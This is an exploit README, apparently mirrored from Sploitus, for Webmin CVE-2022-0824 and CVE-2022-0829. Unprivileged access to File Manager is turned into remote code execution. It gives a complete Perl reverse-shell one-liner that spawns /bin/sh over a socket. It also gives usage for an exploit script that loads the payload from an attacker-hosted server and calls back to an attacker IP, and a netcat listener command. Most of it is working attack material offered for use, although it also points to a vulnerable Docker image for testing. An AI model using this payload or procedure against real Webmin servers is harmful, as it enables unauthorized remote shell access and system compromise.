## https://sploitus.com/exploit?id=2EC7729D-FA69-57E1-9594-2057941242DB
# WebminRCE-exploit
CVE-2022-0824, CVE-2022-0829 - File Manger privilege exploit
Vulnerable application to test this PoC can be found [here](https://hub.docker.com/r/gokul2/cve-2022-0824) as a docker image.
Prerequisites:
- Python3
- Requests module
Description
Vulnerability
Improper Access Control to Remote Code Execution
Safe users (Unpriviledged user) can access File Manager module, which should be restricted by default.
Exploit Payload
Use Improper Access control vulnerability to upload a cgi file into the webmin server.
Stage 1 (Authentication)
Authenticate and login to the server with a safe/less priviledged user.
Stage 2 (Download file into server)
Make use of the vulnerable File Manager (/file-manager/http_download.cgi) module to download a perl script into the server.
Perl Script to get a reverse shell access :
```PERL
perl -e 'use Socket;$i="0.0.0.0";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```
Stage 3 (Modify permission)
Add executable permission to the file (/file-manager/chmod.cgi)
Stage 4 (Execute Command)
Simply call the uploaded file to execute the reverse shell script present inside same.
Usage directions :
```
$ python3 cve-2022-0824.py --help
usage: cve-2022-0824.py [-h] --host HOST --user USER --password PASSWORD
--Python_server PYTHON_SERVER --callback_url
CALLBACK_URL [--proxy PROXY]
optional arguments:
-h, --help show this help message and exit
--host HOST Host url(complete)
--user USER Username
--password PASSWORD Password
--Python_server PYTHON_SERVER
Python httpServer with port
--callback_url CALLBACK_URL
Callback ip and port
--proxy PROXY Proxy details
```
Usage example:
```
$ python3 cve-2022-0824.py --host [Target_url] --user [Username] --password[Password] --Python_server [Filehosting Server Information] ----callback_url [: for reverse shell connections] --proxy [Proxy server details - optional]
```
```
$ python3 cve-2022-0824.py --host http://localhost:10000 --user usr --password usr --Python_server 192.168.43.228:9999 --callback_url 192.168.43.228:1234 --proxy http://127.0.0.1:8080
```
Username and Password are for safe users (non-priviledged)
Setup listener before running the script to get reverse shell connection.
```
$ nc -lvp
```
Thanks to [@faisalfs10x](https://github.com/faisalfs10x) for the exploit.